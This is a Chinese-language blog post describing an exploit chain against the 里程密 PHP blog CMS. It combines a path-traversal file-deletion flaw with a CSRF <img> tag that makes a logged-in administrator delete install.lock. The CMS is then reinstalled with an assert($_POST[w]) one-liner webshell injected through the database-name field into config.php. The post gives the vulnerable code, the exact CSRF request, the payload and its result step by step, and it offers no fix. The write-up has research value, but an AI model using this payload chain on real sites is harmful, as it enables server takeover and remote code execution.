里程密PHP开源博客系统任意文件删除+csrf+重装CMS拿到webshell-华盟网

里程密PHP开源博客系统任意文件删除+csrf+重装CMS拿到webshell

任意文件删除结合csrf重装cms拿下webshell
华盟学院山东省第二期线下学习计划

跟踪到./Application/Admin/Controller/MaintainController.class.php

<?php
namespace Admin\Controller;
use Think\Controller;
class MaintainController extends CommonController {
    private $path = "./Database/";
    public function index(){
            $this->display();
    }
 
    public function doClear(){
        $path = "./Application/Runtime/";
        $data = $_POST['data'];
        $count = count($data);
        for ($i=0; $i <$count ; $i++) {
            $this->dirDel($path.$data[$i]."/");
        }
        $this->success("清除成功");
    }
 
    public function dirDel($path){
        if(!is_dir($path)){
            $this->error($path."并没有这个文件夹");
        }
        $hand = opendir($path);
        while(($file = readdir($hand))!==false){
            if($file=="."||$file=="..")  continue;
            if(is_dir($path."/".$file)){
                $this->dirDel($path."/".$file);
            }else{
                @unlink($path."/".$file);
            }
 
        }
        closedir($hand);
        @rmdir($path);
    }
 
    public function deldata(){
        $name = $_GET['name'];
        if(empty($name)){
            $this->error("没有文件");
        }else{
            $result = unlink($this->path.$name);
            $this->myRelust($result);
        }
    }
    public function databackups(){
        $arr = $this->my_scandir($this->path);
        $this->assign("list",$arr);
        $this->display();
    }
 
    public function dobackups(){
        header("Content-type: text/html; charset=utf-8");
        $name = $_POST['name']?$_POST['name']:date("Y-m-d",time());
        $this->Mydb();    //连接数据库
        $sql=$this->sqlcreate();
        $sql2=$this->sqlinsert();
        $data=$sql.$sql2;
        $result = file_put_contents($this->path."{$name}(".time().").sql", $data);
        $this->myRelust($result);
}
//代码过多,后面的省略

我们主要看看deldata()方法,它是用来删除缓存文件的,可是出现了瑕疵,让我们有机可乘,我们来分析一下,将get传输过来的name值赋值给$name随后判断$name值是否为空,如果为空返回“没有文件”并且退出,反之执行删除$name这个文件,$this->path这个成员属性就已经被赋好值了,它的路径就是根目录下的database这个目录。

跟进./Application/Install/Controller/InstallController.class.php程序安装文件

<?php
namespace Install\Controller;
use Think\Controller;
use Think\Db;
use Think\Storage;
 
class InstallController extends Controller{
 
protected function _initialize(){
if(session('step') === null){
$this->redirect('Index/index');
}
 
if(Storage::has(MODULE_PATH . 'Data/install.lock')){
$this->error('已经成功安装了里程密,请不要重复安装!');
}
}
 
//安装第一步,检测运行所需的环境设置
public function step1(){
session('error', false);
 
//环境检测
$env = check_env();
 
//目录文件读写检测
if(IS_WRITE){
$dirfile = check_dirfile();
$this->assign('dirfile', $dirfile);
}
 
//函数检测
$func = check_func();
 
session('step', 1);
 
$this->assign('env', $env);
$this->assign('func', $func);
$this->display();
}
 
//安装第二步,创建数据库
public function step2($db = null, $admin = null){
if(IS_POST){
//检测管理员信息
if(!is_array($admin) || empty($admin[0]) || empty($admin[1]) || empty($admin[2])){
$this->error('请填写完整管理员信息');
} else if($admin[1] != $admin[2]){
$this->error('确认密码和密码不一致');
} else {
$info = array();
list($info['username'], $info['password'], $info['repassword'])
= $admin;
//缓存管理员信息
session('admin_info', $info);
}
 
//检测数据库配置
if(!is_array($db) || empty($db[0]) ||  empty($db[1]) || empty($db[2]) || empty($db[3])){
$this->error('请填写完整的数据库配置');
} else {
$DB = array();
list($DB['DB_TYPE'], $DB['DB_HOST'], $DB['DB_NAME'], $DB['DB_USER'], $DB['DB_PWD'],
 $DB['DB_PORT'], $DB['DB_PREFIX']) = $db;
//缓存数据库配置
session('db_config', $DB);
 
//创建数据库
$dbname = $DB['DB_NAME'];
unset($DB['DB_NAME']);
$db  = Db::getInstance($DB);
$sql = "CREATE DATABASE IF NOT EXISTS `{$dbname}` DEFAULT CHARACTER SET utf8";
$db->execute($sql) || $this->error($db->getError());
}
 
//跳转到数据库安装页面
$this->redirect('step3');
} else {
 
session('error') && $this->error('环境检测没有通过,请调整环境后重试!');
$step = session('step');
if($step != 1 && $step != 2){
$this->redirect('step1');
}
 
session('step', 2);
$this->display();
}
}
 
//安装第三步,安装数据表,创建配置文件
public function step3(){
if(session('step') != 2){
$this->redirect('step2');
}
 
$this->display();
 
//连接数据库
$dbconfig = session('db_config');
$db = Db::getInstance($dbconfig);
 
//创建数据表
create_tables($db, $dbconfig['DB_PREFIX']);
 
//注册创始人帐号
$admin = session('admin_info');
register_administrator($db, $dbconfig['DB_PREFIX'], $admin);
 
//创建配置文件
$conf  = write_config($dbconfig);
session('config_file',$conf);
if(session('error')){
//show_msg();
} else {
session('step', 3);
$this->redirect('Index/complete');
}
}
}

这里我就不一个个的说了,大概的解释下意思,从这个step2()方法讲着走,最开始就是判断POST有没有传过来值接着判断管理员信息是否填写完整,上面的判断通过之后就到了判断$admin[1]是不是等于$admin[2],如果以上的通过那么就定义一个$info数组,接着用list()列表函数来将$admin数组的值分配到$info数组,用session来缓存管理员的信息。接着是检测数据库信息是否填写完整,若填写完整就创建数据库,若上面的执行无误就跳到step3()这个方法,连接数据库,创建表,写入信息之类的,接着就是创建配置文件了,我们可以看到,在安装的时候,整个文件没有对POST传进来的值做任何过滤。

配置文件位置:./Application/Common/Conf/config.php

<?php
return array(
    //'配置项'=>'配置值'
        'DB_TYPE'   => 'mysql', // 数据库类型
        'DB_HOST'   => '127.0.0.1', // 服务器地址
        'DB_NAME'   => '123', // 数据库名
        'DB_USER'   => 'root', // 用户名
        'DB_PWD'    => 'root',  // 密码
        'DB_PORT'   => '3306', // 端口
        'DB_PREFIX' => 'blog_', // 数据库表前缀
        'SHOW_PAGE_TRACE' =>false,  //
        'SHOW_ERROR_MSG' =>    false,
        'MODULE_DENY_LIST'      =>  array('Common','Runtime'),
        'URL_MODEL'             =>  0,       // URL访问模式,可选参数0、1、2、3,代表以下四种模式:
        // 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE  模式); 3 (兼容模式)  默认为PATHINFO 模式
        'URL_HTML_SUFFIX'       =>  'html',  // URL伪静态后缀设置
        'ERROR_MESSAGE'  =>    '哎呦呦,一不小心就走丢了!',
        'ERROR_PAGE' =>'./Public/Default/error_page/error.html',
         );

这是配置文件的代码,返回一个数组,我们想办法插个一句话进去,

Pyload:',assert($_POST[w]) => '1',//

上面这段就是插入的pyload

具体看下面的代码咋插

<?php
return array(
    //'配置项'=>'配置值'
        'DB_TYPE'   => 'mysql', // 数据库类型
        'DB_HOST'   => '127.0.0.1', // 服务器地址
        'DB_NAME'   => '123',assert($_POST[w]) => '1',//', // 数据库名
        'DB_USER'   => 'root', // 用户名
        'DB_PWD'    => 'root',  // 密码
        'DB_PORT'   => '3306', // 端口
        'DB_PREFIX' => 'blog_', // 数据库表前缀
        'SHOW_PAGE_TRACE' =>false,  //
        'SHOW_ERROR_MSG' =>    false,
        'MODULE_DENY_LIST'      =>  array('Common','Runtime'),
        'URL_MODEL'             =>  0,       // URL访问模式,可选参数0、1、2、3,代表以下四种模式:
        // 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE  模式); 3 (兼容模式)  默认为PATHINFO 模式
        'URL_HTML_SUFFIX'       =>  'html',  // URL伪静态后缀设置
        'ERROR_MESSAGE'  =>    '哎呦呦,一不小心就走丢了!',
        'ERROR_PAGE' =>'./Public/Default/error_page/error.html',
         );

至于这个为啥要这么插入,相信有基础的人都知道了,我就不细说了

现在我们来实现这个漏洞,通过csrf,让管理来触发删除./Application/Install/Data/install.lock这个安装时创建的文件,接着该怎么写呢?很简单,只需要一个<img>标签足够了

<img src="http://localhost/lichengmi_2.3/index.php?m=admin&c=maintain&a=deldata&name=../Application/install/Data/install.lock"/>

就这样就可以了,前提是管理员已经登陆,接着走吧!

我将上面的图片标签写到web服务器的csrf.html上进行访问

1495790531462554.png

现在我以管理员的身份登陆了。

再看看触发csrf之前./Application/Install/Data这个目录中存在的文件:

1495790636115525.png

有三个文件,分别是:

Install.sql

Install.lock

Conf.tpl

访问:http://www.only-wait.cn/csrf.html就可以将install.lock删掉

1495790698794429.png

我们执行下csrf那个页面,再看看data目录下:

1495790736198160.png

Install.lock这个文件没有了,这就导致这套cms重装了。

1495790782533174.png

刷新过后看到了安装页面,接着这里我们要用到前面写的

pyload:xxx',assert($_POST[w]) => '1',//

1495790817411171.png

在数据库名这里填上pyload。

1495790851700737.png

安装完成!

看看配置文件

<?php
return array(
    //'配置项'=>'配置值'
        'DB_TYPE'   => 'mysql', // 数据库类型
        'DB_HOST'   => '127.0.0.1', // 服务器地址
        'DB_NAME'   => 'xxx',assert($_POST[w]) => '1',//', // 数据库名
        'DB_USER'   => 'root', // 用户名
        'DB_PWD'    => 'root',  // 密码
        'DB_PORT'   => '3306', // 端口
        'DB_PREFIX' => 'blog_', // 数据库表前缀
        'SHOW_PAGE_TRACE' =>false,  //
        'SHOW_ERROR_MSG' =>    false,
        'MODULE_DENY_LIST'      =>  array('Common','Runtime'),
        'URL_MODEL'             =>  0,       // URL访问模式,可选参数0、1、2、3,代表以下四种模式:
        // 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE  模式); 3 (兼容模式)  默认为PATHINFO 模式
        'URL_HTML_SUFFIX'       =>  'html',  // URL伪静态后缀设置
        'ERROR_MESSAGE'  =>    '哎呦呦,一不小心就走丢了!',
        'ERROR_PAGE' =>'./Public/Default/error_page/error.html',
         );

这样webshell就写了进来,去看看能不能执行。

1495790976739482.png

Ok,完全没问题。放进菜刀吧!

www.idc126.com

1495791008190553.png

0

发表评论